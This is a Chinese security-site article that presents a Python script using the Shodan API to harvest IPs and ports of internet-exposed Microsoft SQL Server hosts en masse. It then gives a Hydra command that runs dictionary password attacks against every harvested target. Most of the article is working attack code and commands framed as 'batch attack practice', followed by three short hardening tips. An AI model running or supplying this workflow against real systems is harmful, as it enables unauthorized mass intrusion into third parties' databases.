freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

基于ShodanPython库的批量攻击实践 金币
2017-04-18 09:11:58

拜读了xiaix关于Shodan的全面介绍:《Shodan新手入坑指南》,受益匪浅。SQL Server的弱口令入侵案例层出不穷,利用工具也大量存在,本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。希望能给有类似需求的同学提供参考。

0x01 基本思路

首先利用Shodan的Python库获取并实时处理MSSQL服务器IP及1434端口Banner,得到IP和MSSQL连接端口的组合列表;然后利用Hydra进行字典口令攻击。

SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。    —— 百度百科-1433端口

0x02 实现脚本

实现过程详见脚本中的注释

# -- coding:utf-8 --
# Python v2.7.10
# MSSQL.py
# Written by Gaearrow

import shodan
import sys

# API_KEY
API_KEY = "YOUR_API_KEY"
query = "product:\"Microsoft SQL Server\""

# 处理输入
if len(sys.argv) != 3:
    print 
    print 'Usage: MSSQL.py <page start:1,2...> <page end:1,2...>'
    sys.exit(1)
pagestart = int(sys.argv[1])
pageend = int(sys.argv[2])

try:
    # 初始化输出文件
    ofilename = 'page'+str(pagestart)+'to'+str(pageend)
    ofilesrc = ofilename+'_src.txt'
    ofileip = ofilename+'_ip.txt'
    fsrc = open(ofilesrc,'w')
    fip = open(ofileip,'w')

    # 统计变量
    numofport = 0
    numofnoport = 0
    rstlist = 0
    
    # 逐页检索
    api = shodan.Shodan(API_KEY)
    rsttotal = api.count(query)
    maxpage = (rsttotal['total']+99)/100
    if pageend > maxpage:
        pageend = maxpage
    for page in range(pagestart,pageend+1):
        result = api.search(query,page)
        for mssql in result['matches']:
            # 从Banner中解析MSSQL的连接端口
            ## 删除换行
            ip = mssql['ip_str'].strip('\n')
            ## Ignore IPv6
            if len(ip) > 15:
                continue
            ## 跳过特殊字符
            banner = mssql['data'][3:]
            ## 检查Banner
            if banner.find('ServerName') < 0:
                continue
            pos = banner.find('tcp;')
            if pos > 0:
                strlist = banner[pos:].split(';')
                if strlist[1].find('np') < 0:
                    ### tcp;1234;np;..
                    ipport = ip+':'+strlist[1]
                    numofport = numofport + 1
                else:
                    ### tcp;np;..
                    ipport = ip+":1433"
                    numofnoport = numofnoport + 1
            else:
                ### no 'tcp;'
                ipport = ip+":1433"
                numofnoport = numofnoport + 1

            print >>fip,ipport
            print >>fsrc,mssql['ip_str']
            print >>fsrc,mssql['data'][3:]
            rstlist = rstlist + 1

    # 打印统计信息
    print >>fsrc,'==================================='
    print >>fsrc,'Shodan Summary Information'
    print >>fsrc,'Query : ', query
    print >>fsrc,'Total Results : ', rsttotal['total']
    print >>fsrc,'List  Results : ', rstlist
    print >>fsrc,'Page  Start   : ', pagestart
    print >>fsrc,'Page  End     : ', pageend
    print >>fsrc,'Port  Assigned   : ',numofport
    print >>fsrc,'Port  Unassigned : ',numofnoport
    print >>fsrc,'==================================='

except Exception as e:
    print 'Error: %s' % e
    sys.exit(1)

fsrc.close()
fip.close()

0x03 执行示例

执行环境

root@kali2:~/app/mssqlnew# uname -a
Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux
root@kali2:~/app/mssqlnew# python -V
Python 2.7.9

获取地址端口组合列表

root@kali2:~/app/mssqlnew# python MSSQL.py 1 10

page1to10_src.txt

src.png

summary.png

page1to10_ip.txt

iplist.png

hydra字典攻击

攻击耗时及成功率与用户、口令字典有紧密关系,网络带宽也影响速度。

root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql

0x04 安全建议

设置MSSQL仅限本地连接

修改MSSQL的默认连接端口

分级配置各类数据库用户权限


脚本及字典下载地址:Github Download

*本文作者:gaearrow,转载请注明来自FreeBuf.COM

本文作者:, 转载请注明来自FreeBuf.COM

# Shodan Python
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑